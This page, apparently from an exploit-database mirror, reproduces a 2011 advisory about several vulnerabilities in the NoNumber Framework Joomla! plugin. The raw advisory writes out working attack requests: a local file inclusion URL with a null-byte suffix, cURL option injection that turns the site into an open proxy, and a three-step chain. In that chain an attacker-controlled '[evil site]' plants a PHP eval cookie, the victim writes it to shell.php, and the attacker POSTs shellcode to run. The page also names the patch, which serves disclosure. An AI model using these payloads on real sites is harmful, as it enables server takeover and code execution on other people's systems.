header-logo
Suggest Exploit
vendor:
NoNumber Framework Joomla! Plugin
by:
jdc
7.5
CVSS
HIGH
Local File Inclusion, Open Proxy/Open cURL/Shell Upload
94, 78
CWE
Product Name: NoNumber Framework Joomla! Plugin
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: All
2011

NoNumber Framework Joomla! Plugin Multiple Vulnerabilities

The nnframework plugin by NoNumber! contains multiple vulnerabilities. This plugin is shipped with all NoNumber extensions. Local File Inclusion can be done by passing the file parameter with the LFI payload. Open Proxy/Open cURL/Shell Upload can be done by passing the url parameter with the remote host and url_options[CURLOPT_POSTDATA] parameter with the post data. It is also possible to gain remote access by setting up a remote page that sets the cookie, forcing the victim site to write a cookie file, POST a single variable containing shellcode to the victim site and executing the shellcode.

Mitigation:

Update to the latest version of the NoNumber Framework Joomla! Plugin.
Source

Exploit-DB raw data:

# Exploit Title: NoNumber Framework Joomla! Plugin Multiple Vulnerabilities
# Discovery Date: 10 October 2011
# Reported Date: 11 October 2011
# Patch Date: 17 October 2011
# Release Date: 17 October 2011
# Author: jdc
# Software Link: http://nonumber.nl

The nnframework plugin by NoNumber! contains multiple vulnerabilities. This plugin is shipped with all NoNumber extensions:

* Advanced Module Manager
* AdminBar Docker
* Add to Menu
* Articles Anywhere
* What? Nothing!
* Tooltips
* Tabber
* Sourcerer
* Slider
* Timed Styles
* Modules Anywhere
* Modalizer
* ReReplacer
* Snippets
* DB Replacer
* CustoMenu
* Content Templater
* CDN for Joomla!
* Cache Cleaner
* Better Preview

All vulnerable extensions have been patched as of 17 October 2011.



Local File Inclusion:
---------------------

index.php?nn_qp=1&file=[LFI]%00.inc.php

NOTE: the ending ".inc.php" is required.



Open Proxy/Open cURL/Shell Upload
---------------------------------

Using the following data structure, it is possible to pass arguments directly into cURL:

index.php
?nn_qp=1
&url=[REMOTE HOST]
&url_options[CURLOPT_POSTDATA]=[post data]

Whatever the plugin loads via cURL gets written out as data under the domain of the victim site.
This allows for REMOTE HOST to inject javascript that runs in the context of the victim domain.
It is also possible to gain remote access:

1. Set up a remote page that sets the following cookie:

<?eval(array_pop($_POST))?>=1

2. Force victim site to write a cookie file:

index.php
?nn_qp=1
&url=http://[evil site]
&url_options[CURLOPT_COOKIEJAR]=shell.php
&url_options[CURLOPT_COOKIEFILE]=shell.php

3. POST a single variable containing REAL shellcode to http://[victim]/shell.php